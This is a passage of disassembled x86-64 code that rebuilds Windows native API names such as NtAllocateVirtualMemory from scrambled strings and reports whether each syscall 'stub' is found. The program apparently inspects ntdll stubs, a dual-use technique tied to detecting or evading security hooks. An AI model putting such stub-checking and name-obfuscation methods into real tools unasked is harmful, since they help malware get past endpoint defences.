lea rdx, [rbp + 0x970]
lea r8, [0x0081ae40]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x950]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x950]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x970]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x990]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x9b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x9d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x9f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xa10]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xa30]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xa50]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xa70]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xa90]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xab0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xad0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xaf0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xb10]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xb30]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xb5f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0xb60]
mov rcx, qword [rbp + 0x2d50]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0xb60]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x404d4b
lea rsi, [0x0081ae14]
jmp 0x404d52
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0xd4f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0xd4f]
lea rax, [rbp + 0xd20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0xd00]
lea rdx, [rbp + 0xd20]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xce0]
lea rdx, [rbp + 0xd00]
lea r8, [0x0081ae42]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xcc0]
lea rdx, [rbp + 0xce0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xca0]
lea rdx, [rbp + 0xcc0]
lea r8, [0x0081ae44]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xc80]
lea rdx, [rbp + 0xca0]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xc60]
lea rdx, [rbp + 0xc80]
lea r8, [0x0081ae10]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xc40]
lea rdx, [rbp + 0xc60]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xc20]
lea rdx, [rbp + 0xc40]
lea r8, [0x0081ae38]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xc00]
lea rdx, [rbp + 0xc20]
lea r8, [0x0081ae3a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xbe0]
lea rdx, [rbp + 0xc00]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xbc0]
lea rdx, [rbp + 0xbe0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xba0]
lea rdx, [rbp + 0xbc0]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xb80]
lea rdx, [rbp + 0xba0]
lea r8, [0x0081ae3c]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0xb80]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xb80]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xba0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xbc0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xbe0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xc00]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xc20]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xc40]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xc60]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xc80]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xca0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xcc0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xce0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xd00]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xd20]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xd4f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0xd50]
mov rcx, qword [rbp + 0x2d48]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0xd50]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x405082
lea rsi, [0x0081ae14]
jmp 0x405089
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x101f]
lea rax, [rbp + 0xff0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0xfd0]
lea rdx, [rbp + 0xff0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xfb0]
lea rdx, [rbp + 0xfd0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xf90]
lea rdx, [rbp + 0xfb0]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xf70]
lea rdx, [rbp + 0xf90]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xf50]
lea rdx, [rbp + 0xf70]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xf30]
lea rdx, [rbp + 0xf50]
lea r8, [0x0081ae46]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xf10]
lea rdx, [rbp + 0xf30]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xef0]
lea rdx, [rbp + 0xf10]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xed0]
lea rdx, [rbp + 0xef0]
lea r8, [0x0081ae48]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xeb0]
lea rdx, [rbp + 0xed0]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xe90]
lea rdx, [rbp + 0xeb0]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xe70]
lea rdx, [rbp + 0xe90]
lea r8, [0x0081ae4c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xe50]
lea rdx, [rbp + 0xe70]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xe30]
lea rdx, [rbp + 0xe50]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xe10]
lea rdx, [rbp + 0xe30]
lea r8, [0x0081ae4e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xdf0]
lea rdx, [rbp + 0xe10]
lea r8, [0x0081ae50]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xdd0]
lea rdx, [rbp + 0xdf0]
lea r8, [0x0081ae52]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xdb0]
lea rdx, [rbp + 0xdd0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xd90]
lea rdx, [rbp + 0xdb0]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0xd70]
lea rdx, [rbp + 0xd90]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0xd70]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0xd70]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xd90]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xdb0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xdd0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xdf0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xe10]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xe30]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xe50]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xe70]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xe90]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xeb0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xed0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xef0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xf10]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xf30]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xf50]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xf70]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xf90]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xfb0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xfd0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0xff0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x101f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x1020]
mov rcx, qword [rbp + 0x2d40]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x1020]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x4054ed
lea rsi, [0x0081ae14]
jmp 0x4054f4
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x136f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x136f]
lea rax, [rbp + 0x1340]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x1320]
lea rdx, [rbp + 0x1340]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1300]
lea rdx, [rbp + 0x1320]
lea r8, [0x0081ae54]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x12e0]
lea rdx, [rbp + 0x1300]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x12c0]
lea rdx, [rbp + 0x12e0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x12a0]
lea rdx, [rbp + 0x12c0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1280]
lea rdx, [rbp + 0x12a0]
lea r8, [0x0081ae12]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1260]
lea rdx, [rbp + 0x1280]
lea r8, [0x0081ae56]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1240]
lea rdx, [rbp + 0x1260]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1220]
lea rdx, [rbp + 0x1240]
lea r8, [0x0081ae58]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1200]
lea rdx, [rbp + 0x1220]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x11e0]
lea rdx, [rbp + 0x1200]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x11c0]
lea rdx, [rbp + 0x11e0]
lea r8, [0x0081ae10]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x11a0]
lea rdx, [rbp + 0x11c0]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1180]
lea rdx, [rbp + 0x11a0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1160]
lea rdx, [rbp + 0x1180]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1140]
lea rdx, [rbp + 0x1160]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1120]
lea rdx, [rbp + 0x1140]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1100]
lea rdx, [rbp + 0x1120]
lea r8, [0x0081ae34]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x10c0]
lea rdx, [rbp + 0x10e0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x10a0]
lea rdx, [rbp + 0x10c0]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1080]
lea rdx, [rbp + 0x10a0]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1060]
lea rdx, [rbp + 0x1080]
lea r8, [0x0081ae44]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1040]
lea rdx, [rbp + 0x1060]
lea r8, [0x0081ae44]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x1040]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1040]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1060]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1080]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x10a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x10c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x10e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1100]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1120]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1140]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1160]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1180]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x11a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x11c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x11e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1200]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1220]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1240]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1260]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1280]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x12a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x12c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x12e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1300]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1320]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1340]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x136f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x1370]
mov rcx, qword [rbp + 0x2d38]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x1370]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x405a08
lea rsi, [0x0081ae14]
jmp 0x405a0f
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x15ff]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x15ff]
lea rax, [rbp + 0x15d0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x15b0]
lea rdx, [rbp + 0x15d0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1590]
lea rdx, [rbp + 0x15b0]
lea r8, [0x0081ae42]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1570]
lea rdx, [rbp + 0x1590]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1550]
lea rdx, [rbp + 0x1570]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1530]
lea rdx, [rbp + 0x1550]
lea r8, [0x0081ae3c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1510]
lea rdx, [rbp + 0x1530]
lea r8, [0x0081ae06]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x14f0]
lea rdx, [rbp + 0x1510]
lea r8, [0x0081ae08]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x14d0]
lea rdx, [rbp + 0x14f0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x14b0]
lea rdx, [rbp + 0x14d0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1490]
lea rdx, [rbp + 0x14b0]
lea r8, [0x0081ae0c]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1470]
lea rdx, [rbp + 0x1490]
lea r8, [0x0081ae02]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1450]
lea rdx, [rbp + 0x1470]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1430]
lea rdx, [rbp + 0x1450]
lea r8, [0x0081ae0e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1410]
lea rdx, [rbp + 0x1430]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x13f0]
lea rdx, [rbp + 0x1410]
lea r8, [0x0081ae10]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x13d0]
lea rdx, [rbp + 0x13f0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x13b0]
lea rdx, [rbp + 0x13d0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1390]
lea rdx, [rbp + 0x13b0]
lea r8, [0x0081ae12]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x1390]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1390]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x13b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x13d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x13f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1410]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1430]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1450]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1470]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1490]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x14b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x14d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x14f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1510]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1530]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1550]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1570]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1590]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x15b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x15d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x15ff]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x1600]
mov rcx, qword [rbp + 0x2d30]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x1600]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x405e1b
lea rsi, [0x0081ae14]
jmp 0x405e22
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x170f]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x170f]
lea rax, [rbp + 0x16e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x16c0]
lea rdx, [rbp + 0x16e0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x16a0]
lea rdx, [rbp + 0x16c0]
lea r8, [0x0081ae36]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1680]
lea rdx, [rbp + 0x16a0]
lea r8, [0x0081adfc]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1660]
lea rdx, [rbp + 0x1680]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1640]
lea rdx, [rbp + 0x1660]
lea r8, [0x0081ae44]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1620]
lea rdx, [rbp + 0x1640]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x1620]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1620]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1640]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1660]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1680]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x16a0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x16c0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x16e0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x170f]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
lea rax, [rbp + 0x1710]
mov rcx, qword [rbp + 0x2d28]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d80]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x2ca4], eax
lea rax, [rbp + 0x1710]
mov rcx, rax
call fcn.004a6300
cmp dword [rbp + 0x2ca4], 0
je 0x40601e
lea rsi, [0x0081ae14]
jmp 0x406025
lea rsi, [0x0081ae19]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.00430d60
mov r8, rsi
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x18df]
mov rcx, rax
call fcn.0046dd70
lea rdx, [rbp + 0x18df]
lea rax, [rbp + 0x18b0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a5cb0
lea rax, [rbp + 0x1890]
lea rdx, [rbp + 0x18b0]
lea r8, [0x0081adf8]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1870]
lea rdx, [rbp + 0x1890]
lea r8, [0x0081ae4e]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1850]
lea rdx, [rbp + 0x1870]
lea r8, [0x0081ae5a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1830]
lea rdx, [rbp + 0x1850]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1810]
lea rdx, [rbp + 0x1830]
lea r8, [0x0081ae4a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x17f0]
lea rdx, [rbp + 0x1810]
lea r8, [0x0081ae34]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x17d0]
lea rdx, [rbp + 0x17f0]
lea r8, [0x0081ae0a]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x17b0]
lea rdx, [rbp + 0x17d0]
lea r8, [0x0081adfe]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1790]
lea rdx, [rbp + 0x17b0]
lea r8, [0x0081ae00]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1770]
lea rdx, [rbp + 0x1790]
lea r8, [0x0081ae04]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1750]
lea rdx, [rbp + 0x1770]
lea r8, [0x0081ae44]
mov rcx, rax
call fcn.004b5c90
lea rax, [rbp + 0x1730]
lea rdx, [rbp + 0x1750]
lea r8, [0x0081ae44]
mov rcx, rax
call fcn.004b5c90
lea rdx, [rbp + 0x1730]
lea rax, [rbp + 0x50]
mov rcx, rax
call fcn.004a6340
lea rax, [rbp + 0x1730]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1750]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1770]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1790]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x17b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x17d0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x17f0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1810]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1830]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1850]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1870]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x1890]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x18b0]
mov rcx, rax
call fcn.004a6300
lea rax, [rbp + 0x18df]
mov rcx, rax
call fcn.0046dda0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x18e0]
mov rcx, rax
call fcn.004a5840
mov r9, qword [rbp + 0x2cb0]
mov r8, qword [rbp + 0x2cd0]
mov rdx, qword [rbp + 0x2ca8]
